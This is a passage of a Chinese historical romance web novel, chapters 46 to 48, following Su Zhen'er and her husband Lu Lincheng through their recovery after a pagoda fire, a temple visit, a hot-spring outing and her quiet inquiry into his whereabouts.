“我有一只翠绿色的耳坠子,你皮肤白,戴起来应该很好看,不知道这耳洞还能不能复原……” “别……”陆麟城倒抽一口气,往侧边躲。 “怎么了,你怕疼?” “痒。” 痒? 摸耳垂会痒吗? 苏甄儿不是未经人事的小姑娘,她对上陆麟城的视线,陡然明白了他的意思。 哪里是耳垂痒,分明是……心里痒。 “剪,剪头发吧……” 苏甄儿面色一阵红,她闷着头,拿着剪刀,挑起陆麟城的发尾,十分仔细的将被烧焦的头发挑出来,一缕一缕的给他剪掉。动作还算流畅,只有她自己知道,心跳的有多快。 从前她也是这样的吗? 好像不是。 从前的时候,再亲密的接触,也只是身体的感觉。 可现在,仅仅只是对上陆麟城的一个眼神,她的心绪就开始不稳定起来。 苏甄儿努力调整呼吸,告诉自己她在剪狗毛。 嗯,好多了。 阳光正好,院中,两人的影子被拉长。 苏甄儿绕着陆麟城的头发,一边剪,一边可惜,“可惜,那些账本被烧了。” 除却那些被苏甄儿扔下来的外,两大箱子账本都被烧光了。 “狡兔三窟,施昌将私账复印了好几份,分别藏在几个地方。” “怪不得他会让人烧塔!”苏甄儿激动的一剪子,陆麟城的头发明显少了一大块。 苏甄儿:…… “怎么了?” “没事。” 苏甄儿一把捧住陆麟城的脸抬高,然后用脚偷偷踩住那块头发,小心翼翼的往裙子下面拨。 “我发现你今日,”苏甄儿凑近,“格外好看。” 苏甄儿盯着陆麟城看,然后发现,他今日确实……格外好看。 虽然她知道他从前也很好看,但今日就是……很好看。 而且是尤其好看。 不然她的心脏为什么会又跳得这么快?- 天气越发炎热,拿到了私账的陆麟城最近带着鬼面军在处理施家和孔礼河的事情,事务繁杂,苏州城上下牵连百户豪绅和朝廷命官。 苏甄儿一个人趴在闺房内,早起之时就没有看到陆麟城的影子。 她打了一个哈欠,在软榻上翻了一个身,原本准备午睡,却因为早上睡了一个回笼觉,所以用了午膳之后也没有多少困意。 躺了一会儿,苏甄儿起身。 她的左脚经过一个多月的修养已经好了一大半,能落地,就是不能太用力。 在书架上翻翻捡捡,苏甄儿挑了一本书,重新回到软榻上。 艰涩难懂的书籍看了几页,她就开始犯困了。 这催眠神器的效果一如既往的好用啊。 苏甄儿打了一个哈欠,闭上眼,抱着书,开始午歇。 午后阳光温暖,苏甄儿闭着眼,感觉有人贴着她的面颊,软乎乎,毛绒绒的。 她睁开眼,眼前是男人的脸。 “陆麟城……”苏甄儿轻轻唤他一声,男人俯身含住她的唇。 青天白日的,你干什么呢! 苏甄儿又羞又恼,情急之下猛地起身。 书本落地,发出轻响,身上盖的薄被也跟着滑落。 苏甄儿呆呆坐在那里,左右看了看。 没有人。 是梦。 等一下,她怎么会做这样的梦? 她居然梦到陆麟城在……亲她! 虽然他们更亲密的事情都做过了,但,但这样的梦很不正常啊! 就好像,好像她在想他一样。 一定是她睡觉的姿势不对。 苏甄儿翻了个身,继续午歇。 然后,梦连起来了。 男人握着她的十指,紧紧压入被褥之中,身上单薄的春衫散开,陆麟城的长发被她扯乱,卷曲的黑发如同铺开的绸布,散了半张软榻,抚上去像狗毛一样。 苏甄儿猛地一下惊醒。 她躺在那里,呼吸紊乱。 不能睡了。 苏甄儿起身,跛着脚坐到书桌后面。 作画吧。 末春初夏,最适宜作画了。 她研墨执笔,铺开宣纸,准备画……画什么呢? 脑海中突然冒出陆麟城那张脸。 安静的时候,皱眉的时候,情,动的时候…… 苏甄儿猛地甩手把笔扔了。 练字练字,练字吧。 苏甄儿平复了一下呼吸,又拿了另外一支笔,沾墨,开始练字。 练字好啊,平心静气,修身养性,拒绝欲,念。 这什么啊!怎么写的都是……陆麟城的名字! 她一定是喝中药喝多了,脑子都喝坏了。 苏甄儿迅速将纸揉成团,然后趴在桌子上,发出低低的哀嚎声。 “怎么了?” 一道熟悉的嗓音在她耳畔响起。 苏甄儿抬眸,看到站在自己面前的陆麟城。 午后阳光侵入闺房,新装了琉璃玻璃的窗户透出七彩光色,炫目晕人。 幻觉,一定是幻觉! 苏甄儿抬手,往面前男人脸上抽了一巴掌。 “啪”的一声,声音清脆,虽不痛,但响亮。 陆麟城:…… 苏甄儿:……好像是……真的?- 剥开的鸡蛋从男人脸上滚过,苏甄儿心虚不已。 她的力道也不重,只是男人肌肤白,略显出些红痕。 陆麟城仰头坐在圈椅上,十三粗手粗脚的给他滚。 苏甄儿看不过眼,接了过来,轻轻滚过,男人掀开眼睫看她,黑乌乌的眸子,倒映出她的脸。 从苏甄儿的这个角度看过来,素来清冷孤傲的男人竟显出几分难得的乖巧感来。 因此,当她伸手摸了陆麟城的脑袋后,才反应过来自己干了什么。 苏甄儿:…… 陆麟城:…… 男人停顿一会,然后轻轻歪头,往她掌心又蹭了蹭- 又修养一个多月,苏甄儿的腿伤几乎已经痊愈,只是还不能走太长的路。 寒山寺的主持差人送了感谢信来,说感谢北辰王妃出资筹建宝塔,如今宝塔的修缮工作已经开始,他特意给苏甄儿在寒山寺内供奉了一块长生牌,祝愿北辰王妃身体康健,百岁长生。 主持如此给面子,苏甄儿自然也要过去捐些香火钱意思意思。 马车已经备好,苏甄儿换了条素雅长裙,手持檀香小扇出门,刚刚被小丫鬟扶上马车坐稳,一侧便传来一道马鸣声。 苏甄儿打开马车帘子,就看到陆麟城正巧回家。 “去哪?” 苏甄儿的腿还没好利索,男人下马走到她身边,隔着车窗与她说话。“寒山寺。” “我陪你。” 最近苏甄儿恍神的时间太多了,尤其是跟陆麟城在一起的时候,时不时就会盯着他看一会,等自己反应过来的时候,才会慌张移开。 对于苏甄儿的变化,男人没有发现,只以为她是因为受了伤,闷在屋里出不去,所以才会变得呆呆的。 马车内,陆麟城用包裹着绷带的手撩开女子裙裾,露出一截白皙小腿。那里的纱布已经去除,斑驳的伤口在莹润肌肤之上显得格外狰狞。 “别看。”苏甄儿抬手按住裙裾,对于这道丑陋的伤口还处于接受无能状态。 尤其是在陆麟城面前。 “我已经往金陵去了信,宫中太医院有最好的祛疤药膏,快马加鞭,明日便能送来,不会留疤的。” 男人半跪在苏甄儿面前,说话的时候稍稍抬头。 苏甄儿望入他眸中,面颊微红,轻轻点了点头。 陆麟城的手伤也还没有好,双手包裹着绷带,每日里来回奔波处理私税案件,手掌勒着缰绳,刚刚长好的皮肉又被磨开,循环往复,因此好得极慢。 临行前,苏甄儿盯着医士替陆麟城换好了药,并言辞拒绝了陆麟城想骑马的想法,两人坐上马车往寒山寺去。 夏日闷热,马车以竹帘覆盖,苏甄儿在路上瞧见有糖水铺子,便让马车夫停了下来。 此间糖水铺子也不一般,坐落在姑苏城内最热闹昂贵的地段,里头还卖酥山。 酥山造价昂贵,能来此用上一份的人非富即贵。 店除了有经典款的白色酥山外,还有新研发的绿色酥山和红色酥山,分明唤作眉黛青和贵妃红。 苏甄儿要了一楼的一间包厢,点了一份眉黛青。 小山一样的酥山被端上来,上面还插着新鲜的花卉装饰和时令水果,最顶端的胭脂淡色樱桃小巧可爱,碧绿色的梗看起来极其新鲜。 苏甄儿将木制的勺子递给陆麟城,跟他一起分食一份酥山。 陆麟城拿着勺子的手不方便,苏甄儿叼着那樱桃梗,用自己的勺子舀了一勺递到他唇边。 淡色的绿酥山散发着淡淡牛乳香气,还有水果花卉的香甜交杂在一处,却不及那一点胭脂淡色。 男人眸色变暗,他站起来,俯身。 错过那勺酥山,歪头咬住了女子口中的红樱桃。 第46章 不后悔 侧边是店家挂上的芦帘, 半遮半掩,透出一半夏日阳光。 路过的行人往里看,只瞧见四根桌角。 苏甄儿气喘吁吁地坐回去, 看着面前男人眉眼舒展, 笑得略微有些放肆的模样。 “我的口脂……都被你吃掉了。”苏甄儿努力平稳自己的呼吸声,面颊潮热。 “嗯,我赔你。” 话音落,原本还站在她对面的陆麟城就走到了她身边。 苏甄儿身后是墙。 她后背抵在白色的墙壁上, 面前是倾身过来的男人。 他扣住她的腰肢, 一条腿站在地上,另外一条腿跪在长凳上, 完全将她禁锢在墙壁和他之间。 他俯身, 捧着她的脸,轻咬她的唇瓣, 等她受不住张嘴, 越亲越深。 苏甄儿仰着头, 呼吸逐渐困难。 陆麟城松开她, 等她气顺了,又覆上去, 如此往复,亲了一遍又一遍。她的唇色变得极艳, 比那红樱桃还要再娇艳上几分。 包厢不大,置着的冰块已经融化在盆中,屋内空气燥热,窗外蝉鸣不断, 热浪一浪接着一浪汹涌而过,让陆麟城忍不住想到火烧宝塔那日。 他差一点, 就失去她了。 后怕的情绪逐渐浮现上来,那是一股比之前更可怕的感觉。 男人揽着女子腰肢的手霍然收紧。 怀中女子的体温一向微凉,她虽瘦,但冰肌玉骨,柔软如水,搂在怀中,像怀了一块软玉。 “陆麟城?”苏甄儿被搂得太紧,呼吸困难。 男人闭眼长叹,满是庆幸,“嗯,你在。” 苏甄儿困惑。 不是“我在”吗?- 在糖水铺子拖延了半个时辰,两人终于在日落之前到达寒山寺。 方丈听闻苏甄儿要来的消息,早就带着僧人在寺庙门口等待。 “王妃。”方丈双手合十,给苏甄儿行礼。 苏甄儿回礼道:“方丈,许久不见。” 方丈颔首,满脸慈爱,“是啊,一晃多年,王妃也长大了许多。” 三年乱战,百姓流离失所,寒山寺的方丈力排众议,大开寺门,收留流民,只是物资短缺,无奈向外求助。 姑苏太守孔礼河袖手旁观,施家大门紧闭不说还趁机抬高粮价。 只有英国公府听闻此事,带了米粮和御寒衣物前来支援。 如此,才与这位方丈结缘。 “王爷。”方丈给陆麟城行礼。 陆麟城学着苏甄儿的样子,略显生疏的回礼。 苏甄儿与方丈一路聊着从前的事,陆麟城随在两人身后,三人路过被烧毁的宝塔。 宝塔虽然外表没有塌陷,但里面已经面目全非。 断梁残窗,到处都被熏得黑漆漆的。 陆麟城的视线往上,看到第五层。 阳光明媚,能清晰看到第五层栏杆处挂着的半截衣料。 那是苏甄儿留下的。 塔高,风起。 衣料随风吹落,陆麟城下意识向前,抬手抓住。 衣料沾着灰烬,被他紧紧攥在手中。 陆麟城的心脏也跟着骤然抽痛- 全木质结构的宝塔烧起来容易,建造起来可要耗费不少财力物力。 因为苏甄儿出了全部捐助修缮的银钱,所以寺庙方丈住持又特意给她请了一个长生牌位供奉在寺庙中,之前供奉的是一个吉祥牌位。 苏甄儿此次前来,又大方的给了一大笔香油钱,方丈立刻又满面红光的跟她谈了一个时辰的佛道,直到最后苏甄儿听不下去,找了一个更衣的借口,方丈才意犹未尽的放人。 “天色已晚,王爷与王妃就在庙中歇息一夜吧。” “你可以吗?”陆麟城低头询问苏甄儿。 陆麟城风餐露宿惯了,寒山寺的客房对他而言都属于高档了。 “你小瞧我,”苏甄儿不服了,“之前我与母亲在寒山寺救助流民的时候,一直住的都是客房。”- 话说早了。 之前苏甄儿住的客房有绿眉和母亲帮忙整理过,里面的家具和日常用品都换成了她惯常用的。 现在,硬实的被褥,斑驳的墙壁,还有泛着茶渍的茶杯茶壶。 睡不下去,完全睡不下去。 “夜间马车难行,不如我骑马带你回去?” “你的手还想不想要了?” 苏甄儿勉强往垫了帕子的凳子上坐下,背脊挺得笔直。 她决定了,在这坐一夜。 身后传来窸窸窣窣的声音。 苏甄儿偏头,看到男人褪下外衫,铺在床上,“我的衣裳,不嫌弃的话可以睡在上面。” 苏甄儿犹豫一会,起身,走到床铺边。 黑色的外衫铺开,里层朝外,凑近些便能嗅到淡淡的皂角香气。 “那你岂不是没有外衫穿了?” “天气热,我不穿也没事。” 客房内没有冰块,只在屋中角落置了一个驱散蚊虫的香炉,味道还算好闻。 苏甄儿躺上去,外衫上还残留着男人身上的温度。 她下意识攥紧领口,面颊贴上去。 女子一身素衣,睡在敞开的黑色外袍上,微微蜷缩。 陆麟城坐在床边,不知从哪里折来一片芭蕉叶,替她驱赶蚊虫。 “睡吧。” 在陆麟城的催促下,苏甄儿闭上眼,慢慢睡过去。 天气实在燥热,天刚亮,苏甄儿就醒了。 她睁开眼,看到男人靠在床头,手中还拿着那柄芭蕉叶,时不时轻扇一下。 再往上看,男人阖着眼,正在假寐。 “你一夜没睡?”苏甄儿出声。 陆麟城睁开眼,“嗯,蚊虫太多,睡不着。” 苏甄儿不信他睡不着,战场的环境可比这里艰苦多了,父亲说,就算是在死人堆里,累极了,也是能睡着的。 那么只有一个可能,他在替她驱赶蚊虫,扇风降温。 “还早,再睡一会?” 苏甄儿摇头,“不睡了。” 然后她看向陆麟城裹着绷带的手,“你的伤口没事吧?” “没事,芭蕉叶很轻。” 苏甄儿跪在床铺上,发髻微乱,带着清晨苏醒的凌乱。她看着陆麟城,往前膝行几步,然后将头轻轻靠在了他怀里。 时间还早,四周寂静,唯有鸟鸣。 “陆麟城,与你成婚,我很开心。” 晨曦光色照入客房,男人脸上的表情明暗不辨,握着芭蕉叶的手缓慢攥紧成拳- 临走前,苏甄儿又给方丈捐了一笔香油钱,让方丈给陆麟城立了两个牌位。 一个长生牌位,一个吉祥牌位。 与方丈交涉完,苏甄儿从侧殿出来,正看到陆麟城站在正殿上,拜佛。 他屈膝跪在蒲垫上,双手触地,叩拜。 苏甄儿走过去,跪在旁边的一个蒲垫上,三拜之后看向身侧的男人。 “你信佛?” 初嫁入北辰王府时,苏甄儿观察过,府内没有小佛堂,更没有供奉的佛像,因此,苏甄儿一直以为陆麟城不信佛。 男人凝视着面前的金身佛祖,“从前不信。” “现在信了?” 陆麟城转头看向她,缓慢点了点头。 “为什么?” 苏甄儿好奇。 男人沉默片刻,开口道:“我满身杀戮,罪孽深重。”顿了顿,男人的声音压到最低,“你的祸,因我而起。” “不是的!”苏甄儿的声音霍然扬高,连她自己都惊诧于自己的音量。 “你救了我。” 男人抿唇,不言- 回去的路上,苏甄儿和陆麟城没有再说话。 马车行过枫桥,苏甄儿突然开口,“停车。” 马车夫将车停住,苏甄儿朝陆麟城看一眼,然后率先下了马车。 身后,男人沉默着跟了上来。 枫桥处有一块空地,那个时候,她与母亲在这里放了很多帐篷供流民栖息。 小小的帐篷一路蔓延,围着一口煮得滚滚的大锅,在冬日里泛出暖黄的光色,大家都很开心。 夕阳半落,潮热的空气依旧,并没有因为日落,所以放松半分。 河边的乌桕树在夏日风水的滋润下生长的极好,枝叶茂盛,迎风摇展。 苏甄儿找到其中一棵。 她站在树荫下,盯着波光粼粼的河面,缓慢开口,“三年战乱期间,我与母亲救过许多流民,其中有个少年,是被我从姑苏城外救下来的。” 她教授他箭术,就是这棵树,她拿着弓箭穿透他指向的某片叶子时,清晰的看到了他眼瞳中散发出来的震惊。 “可后来,他不见了。我在想,我是不是不应该救他,是不是因为我,所以他才会在这世间经受更多的苦,我不是在救他,而是在害他。” “不是的。”陆麟城急急向前一步,他终于不再装哑巴。 “那为什么他一走了之,再也没有回来。” 或许他只是觉得,天上的云太干净,与他不相配。 “他一定活着。” “那他会感激我吗?” “会的,一定会的。” 苏甄儿深吸一口气,看向陆麟城,“那我与他一样,陆麟城,谢谢你救我,在国舅府,在秦淮河,在咸福宫,在灵谷庙,一次又一次的帮我,一次又一次的救我。我的苦难与你无关,可我的幸运与你有关,我老是觉得,遇上你,我的运气就很好。” 说到这里,苏甄儿掩在罗袖中的手下意识攥紧,她的心脏紧绷到了极点。 “你娶我,后悔吗?” 乌桕树下,夏风穿水而过,前方寒山寺传来漫漫钟声。 男人上前一步,紧紧抱住她。 “不后悔。” 第47章 绿耳钳 春去夏末, 私税的事情处理的差不多了,苏甄儿准备跟陆麟城一道回金陵。 她的腿伤好了,陆麟城的手伤却还没好。因此, 威武的北辰王被迫跟她同乘一辆马车。若是被他的同僚知道, 定是要将他好好耻笑一番的。 虽然陆路时间不长,但苏甄儿一向要求高,因此,这次乘坐的马车也不是普通马车, 而是类似于一座小屋的移动房车。不仅有她闺房的缩小版, 还有更衣的地方。 马车内,矮榻作床, 周边挂着芙蓉绣纹的帐子, 熏香袅袅,地上铺着柔软的地毯。 苏甄儿看着占了她一半矮榻的男人, 有些好奇, “你的伤怎么还没好?” 陆麟城半阖着眼靠在矮榻身后的马车壁上, “塔檐太烫, 灼伤了皮肤,好的慢。” 苏甄儿想到那时的场景, 忍不住一阵心疼。 陆麟城看她一眼,眸色轻动, “有些口渴。” 苏甄儿赶紧起身给他倒水,亲自喂到嘴边。 男人又道:“有点饿了。” 苏甄儿拿起一块糕点,喂到他嘴边,并细心的替他擦掉唇角的碎屑。 真的, 连她母亲都没有这么被她伺候过。 “马车壁有些硬。” “那我给你多垫几层褥子?” 这个时候的苏甄儿就开始怀念绿眉在时的好处了。 虽然绿眉很唠叨,但一应琐事都能处理的十分之好。 想她堂堂英国公府嫡女千金, 还要搬褥子。 “不用,我躺这里。” 苏甄儿双膝一暖,男人将头搁在了她的膝盖上。 苏甄儿垂眸看他,觉得有些奇怪,又说不上来。 总觉得陆麟城有些……得寸进尺- 虽然一开始苏甄儿觉得有些麻烦,但一日后,习惯了的她发现这样的陆麟城还挺有趣的,就好像是养了一只巨大版的宠物。 “这是什么?” “半束发。” “……不太方便。” “可是很好看啊。” 陆麟城沉默半响,“真的好看吗?” “好看。” “对了,我记得我有一对耳钳。”苏甄儿在自己的妆奁盒子里翻翻找找,“找到了!怎么只剩下一只了。” 银制的耳钳搭着一条细长的银链子,最下方缀着一颗绿宝石。 她的东西太多了,又有随手乱扔的毛病,绿眉在的时候还好,绿眉不在的时候不管是耳环还是镯子或簪子,一开始成双成对,过几日就会形单影只。 “戴上试试。” 苏甄儿将这只绿宝石耳钳夹到陆麟城的耳朵上。 耳钳不用耳洞也可以戴。 上次看到了陆麟城封闭的耳洞后,苏甄儿才想起来自己能给他戴耳钳。 今日终于是实现了。 冰冷的触感落在耳垂上,陆麟城有瞬间的僵硬,他半垂着头,眉目冷冽,可当他看到对面妆奁镜中女人歪头认真的模样时,那股僵硬也渐渐软化。 “戴好了。”苏甄儿的指尖挑起那根细细的链子,绿宝石跳跃了一下,晃晃悠悠地贴着陆麟城的面颊落下,像一簇莹亮的绿光。可它的质地又是极翠绿的暗,更衬得男人肤白如雪。 “王爷,到金陵地界了。” 马车外传来十三的声音,夏风吹起马车帘子,十三正抬头,看到坐在马车内的自家王爷。 半披散的卷发用暗绣纹的鎏金发带扎起,身上是苍绿色的名贵夏衫,腰间挂着香囊宝石,盘腿坐在那里,微微歪着头,露出戴着一只绿宝石的耳钳,一副被养得很好的样子。 陆麟城的眼前又晃过一样东西。 “这又是什么?” “花瓶簪。” 苏甄儿将路边采摘下来的一朵巨大的芍药放入花瓶簪内,然后注入清水,将其插到陆麟城耳畔处。 十三偏头,似乎是在忍笑。 他们是受过专业训练的,除非实在忍不住。 陆麟城:…… “……我感觉我的手好了。” “这么快?” 苏甄儿拿着另外一支琉璃花瓶簪,颇为遗憾- 距离金陵主城还有一段距离,马车路过汤山之时苏甄儿起了兴致,想去汤山泡一泡温泉,松一松筋骨。 陆麟城吩咐十三带犯人先行回京,留下一小部分鬼面军绕路去往汤山。 苏甄儿素来体弱,姑苏城外也有泡温泉的地方,每日寒冬,母亲都会带她一起去。 来到金陵城后,冬日里她就缩在烧了好几个炭盆的屋内不出门,自然也没泡上什么温泉。 汤山是一处天然温泉,有好几个人为造起来的池子,其中比较有名的一处唤作“香水行”。提供多种洗浴服务,包括揩背、按摩、修剪指甲等,还会提供茶水、酒类和水果糕点。 附近亦有人修筑宅院,供长途过来泡养温泉的人订购使用。 可陆麟城带她去的却不是香水行,而是一处还未完全造好的私人行宫。 “这是新帝修的池子?” “不是,是先帝修的,还未修缮完毕,大周就进入乱局。为了不让此处荒废,周玄祈就派人过来重新整修了一下,去年冬日他还偷偷来过。” “那我们就这么进来了?” “嗯。” 陆麟城用匕首撬开一处后门,牵着苏甄儿的手就大大方方进去了。 几个鬼面军守在门口,颇有一种强盗入室之感。 虽未修缮完毕,但这私人行宫也不小了,入目所及,银镂漆饰、朱玉镶嵌,极尽奢华,听说里面大大小小还有七八个池子。 苏甄儿想了一下,先帝并非节俭之辈,这样的装修程度对于喜欢享受生活的皇帝来说,也只是够格罢了。 陆麟城和苏甄儿就近来到其中一个小池子,门口有块石碑,上面刻着“莲花汤”三字。 这是一间四方内室,墙壁上有常年不灭的烛火,正中一个小池子,在黯淡的灯色下腾起白袅袅的雾。 苏甄人走近细看。 虽说只是一个小池子,但它看起来并不简陋,以白玉石做壁,上面雕刻着花鸟鱼虫,池底雕刻着一朵并蒂莲花。 她蹲下来,伸手试了一下,水温适宜,地方也很干净。 “虽平日里没什么人来,但有宫人住在此处会过来打扫。” 苏甄儿点头,“我听闻按照先帝的意思,这行宫除此处外,还准备修建一座禁苑,包括梨园,斗兽场等等,只可惜,造到一半,大周就乱成一锅粥了。” 从这新旧程度来看,周玄祈接手之后,也没有继续扩建,而是照着原来的旧样子,稍微修缮了一下,用以接待外宾贵客。 如此算来,这个新帝也是真节省。 其实不节省也不行,周玄祈接的完全就是一个烂摊子,国库空虚,贪臣遍地,外戚掌权,门阀鼎立,藩王势大,哪一项拉出来都够人头疼的。可偏偏这位新帝,看似糊涂温和,实际上手段比谁都狠。 短短几年时间,杀贪官,诛世族,驱外戚,还顺便将国库给填满了。 不得不说,周玄祈天生就是当皇帝的料。 他善,又恶。 帝王之术,炉火纯青。 又慧眼识人,招揽了陆麟城和谢楚安等一批有才之士,委以重任,如此才从一个小小乡野之地的藩王走到现在的宝座上。 苏甄儿的指尖从热汤上划过一遍,然后又划过一遍。 她悄悄朝身侧盯着热汤发呆的陆麟城看上一眼,然后下一刻,一捧温泉水就被她泼向了陆麟城。 男人猝不及防湿了脸,水珠顺着他的面颊往下滴,湿了鬓角。 耳边传来女子娇俏的笑声。 陆麟城抬手擦拭了一下眉眼,然后攥住苏甄儿手腕,一道跃入温泉池中。 干净的温泉水从四面八方涌来,苏甄儿不会泅水,她吓得使劲扒在陆麟城身上。 直到头顶传来男人的闷笑声,她才意识到这温泉水有多浅,连她的腰线处都没到。 苏甄儿:…… 她抬手使劲拧了一把陆麟城的腰,隔着一层软薄的布料,拧得十分吃力。 男人身上几乎没有赘肉,哪里都如铁板一般,她每次都要使出十几分的力气才能捏上那么一点。 陆麟城吃痛,将她放到温泉池边的台阶上。 苏甄儿坐在台阶上,大半个身子都泡在热汤里。 “都湿了。”陆麟城双臂撑在台阶上,将人圈在怀中,嗓音沙哑。 女子衣衫半湿,玉色氤氲。 苏甄儿盯着陆麟城湿漉的脸,她伸出胳膊,圈住他的脖颈,仰头封住他的唇。 水波漾漾,泼洒到池边,女子的胳膊搭在边缘,肌肤如玉,一时之间竟让人分不清那到底是白玉,还是女人的胳膊。 室内光色晦暗,散乱的长发如野草般在池中纠缠。 苏甄儿体力太差,一次就想作罢。 “嗯,你休息,我动。” 苏甄儿:……- 苏甄儿坐在陆麟城身上,没什么体力的将下颚搁在他肩膀上,看着他肌肤上留下的斑驳痕迹。 后背处隐隐透出几许血丝,那是被她抓的。 淡色的血丝顺着汤流走,被白色雾气掩盖。 苏甄儿视线上移,将下颚移开,改用侧脸贴着他的肩膀。 男人跟着偏头,左耳上的耳钳就格外明显的露了出来。 “这个耳钳,你还没取下来?” 深谙的翠绿贴着男人的脸部,变成他身上唯一的身外物。 有些像是,她给他打上的烙印。 “感觉你很喜欢我戴着它。” 也没有吧。 “方才与你亲近,你总是喜欢悄悄咬它。” 苏甄儿沉默了一会,抬手取下这只耳钳,然后贴到陆麟城唇上。 男人眸色暗下,他张口叼住耳钳上面的绿宝石,扣住女子后脑勺,俯身。 第48章 探行踪 姑苏城私税一事, 陆麟城办的很漂亮。 御书房内,周玄祈看完陆麟城呈上来的卷宗,喜不自胜, “终于是将这老狐狸给解决了。” 郑安邦作为两朝首辅, 旧臣核心,是最难挖除的。周玄祈别出心裁从姑苏城入手,让孔礼河咬出郑安邦,打了这老狐狸一个措手不及。 陆麟城刚从昭狱出来, 身上的血迹还新鲜着。 他在周玄祈这里净了手, 正在擦拭水渍。 周玄祈脸上扬着笑,想起另外一件事, “对了, 芙蓉馆的事情查得怎么样了?” 陆麟城坐在周玄祈下首处,擦拭干净水渍之后懒洋洋往后一靠, 耳畔处划过一道绿光, 精美的耳钳映衬着他的脸, 让他看起来像一尊精美透白的瓷器。 陆麟城单手拨弄着自己左耳上挂着的绿宝石耳钳, 没有回答,似是陷入了眸中回忆之中。 绿宝石贴着女子白皙的肌肤, 从上而下,冰冷的触感带来极端的颤栗。 周玄祈感觉到不对劲, 他盯着陆麟城,视线在那只绿宝石耳钳上停留了一会。 这样看起来名贵的东西,不像是陆麟城的风格,更像是他那位新婚妻子的。 御书房内的气氛似凝滞了一会, 随后,周玄祈笑一声, “没查出来就算了。” “查出来了。”陆麟城淡淡道。 “哦?”周玄祈发出一个单音节。 陆麟城掀开眼帘看他,“你要芙蓉馆办什么事?” “你怎么知道我要芙蓉馆办事?” “你素来心思深沉,不查清底细的人是不敢用的。” 听到陆麟城的话,周玄祈也不恼,也没有否认,他低低笑一声,“你查到了,却不告诉我,这么护着?” “嗯。”陆麟城毫不避讳。 “比兄弟还重要?你老婆啊?” 陆麟城看他一眼,没说话。 周玄祈:…… 御书房内又安静了一瞬,周玄祈猜到了,他略显兴奋地站起来,“兄弟的老婆就是我的……还是兄弟的老婆。你冷静一点,软剑放好。自家人,早说嘛,也不是什么大事,就是想找芙蓉馆的那位馆主,造点谣。”- 新帝继位已经多年,后宫空置,一个人都没有,朝中老臣都急得不行,纷纷上书要求新帝添置后宫,为皇家开枝散叶。 而对于心思深沉者来说,皇后这个位置可不是随便一个人都能给的。 传闻只有阴年阴月阴日阴时出生的人,才是大周后位的天选之人。 “亏得皇帝能想出这个法子。”苏甄儿对于这位新帝真是佩服的五体投地。 她早听说朝中大臣个个都卯着劲儿的想将自家女儿塞进周玄祈的后宫,没想到皇帝想出这套把戏来拒绝,如此冠冕堂皇的理由,真真是无可挑剔。 “我还真当皇帝看不惯芙蓉馆,没想到只是疑心病太重。”苏甄儿松了一口气。 “当皇帝的,哪个没有疑心病。”陆麟城也跟着大逆不道。 苏甄儿吓得一把捂住他的嘴,两手交叠,将他下半张脸盖得满满当当,只露出一双眼。 男人抬眸,眼睫绵密细长,漂亮的眸子笑弯成月牙。 夏末天气还未彻底转凉,男人呼出的热气打在她的掌心。 苏甄儿抽回手,娇嗔的瞪他。 自上次从温泉处回来,她整整歇了七日,真是给她累坏了。 苏甄儿穿着薄衫坐在榻上,手中檀香小扇轻摇,视线落到陆麟城身上,突然一顿,然后不着痕迹地上下打量一圈。 今日晨间出门时,陆麟城穿的是竹叶纹的长袍,现在身上穿的却是祥云纹。 苏甄儿起身走到陆麟城身边,绕着他转了一圈,嗅到熟悉的皂角香气。虽然并没有其它奇怪的气味,但这皂角香气清淡又浓烈,像是刚刚洗漱沐浴完毕,而非身上残留的。 “王爷还没用午膳吧?我让厨房去备些王爷爱吃的。” 苏甄儿话罢,提裙出门,看到在院中摘葡萄的绿眉,赶紧把人招了过来。 “去福来客栈,让人将今日王爷的行踪查一遍。”- 自从知道芙蓉馆的馆主是她之后,芙蓉馆在金陵城内的探官中行事似乎也方便了一些。 绿眉很快便将一份信笺带了回来。 夏日多闷热,苏甄儿喜欢干净,绿眉回来时她正泡在热汤里。 湿漉的长发卷起,颈后垫着白帕,苏甄儿仰头靠在浴桶边缘,抬起湿漉漉的手,后背上还沾着泡水之中舒展开来的芙蓉干花瓣。 绿眉替苏甄儿将手擦拭干净,然后递上信笺。 昭狱。 皇宫。 锦衣卫所。 北辰王府。 按照信笺上言,今日陆麟城并没有去什么奇怪的地方。 既然没有,那他为什么要换衣? 从浴桶里出来,苏甄儿还在纠结这件事。 绿眉先用帕子替苏甄儿将长发绞干,然后又搬来架子,将那头黑发铺开在架子上晾晒。 午后阳光正暖,苏甄儿躺在院子的矮榻上,一侧屏风遮了大半阳光,只余长发浸在日光下。绿荫如伞,落下大片斑驳暗影。 用过午膳,陆麟城便去书房处理公务了。 知了蝉鸣声声,透过半开的窗户,他能看到躺在院中的苏甄儿正在晾晒头发,胭脂色的屏风后透出淡淡薄影,纤细单薄的身段,曳地的水绿色薄袖,盖了半截的夏日毯子。 一会功夫,原本还在凝思什么的女人不知何时闭上了眼,已经睡熟。 热浪于空气中翻滚,时间与阳光仿若静止,一切都显得那么美好和安详,让人忍不住想永远沉溺于这份美好之中。 突然,苏甄儿翻了一个身,铺着长发的架子被带倒,惊起停在树上的雀儿,而她还睡着,无知无觉。 陆麟城起身,推开书房的门走到院中。 他蹲在地上,小心翼翼的将散在地上的头发捧起,然后拿起置在矮榻上的帕子,擦干净上面的灰尘。 他仔细擦拭完毕,看一眼苏甄儿。 女子薄纱覆身,隐约透出莹白肌肤轮廓,如同盛开的芙蓉,浸润着芬芳。 阳光热烈却不恼人,陆麟城盯着看了一会,身上被照得温暖至极。 他索性也不走了,盘腿往矮榻边坐下,将长发铺叠在自己膝盖上,然后拿起侧边矮几上的牛角梳,梳理打结的地方。 长发划过指尖,被日光晒得发烫。 脚下似乎有什么东西,陆麟城低头,看到一封信笺。 苏甄儿翻身的时候不仅弄倒了架子,还将信笺也一起掉了。 信笺是散开的,陆麟城稍一瞥眼,就能看到上面的字。 嗯……他今日的行踪? “疼……” 齿梳卡在发尾,苏甄儿被拉扯的有些疼,瞬间就醒了。一扭头,却发现给自己梳发的人不是绿眉,而是陆麟城。 顺着陆麟城的视线,苏甄儿也看到了地上的信笺。 她迅速弯腰捡拾,没想到陆麟城比她更快一步。 “没什么,是废纸。”苏甄儿一把包住陆麟城的手。 人在心虚的时候总会变得有些愚蠢,这个理由真的可靠吗? “废纸?”陆麟城沉吟一声,故意逗人,“是我的行踪吧?” “不是!” 陆麟城捏着信笺,缓慢的又加了两个字,“是吗?” 男人的嗓音是偏冷淡的,他说话的时候总能让人想到一些冷感的东西,比如晶莹剔透的冰块,光滑的冷色宝石之类的。可他在苏甄儿面前说话时,总刻意将声音掐软,那股冷感也随之被压到最不明显。 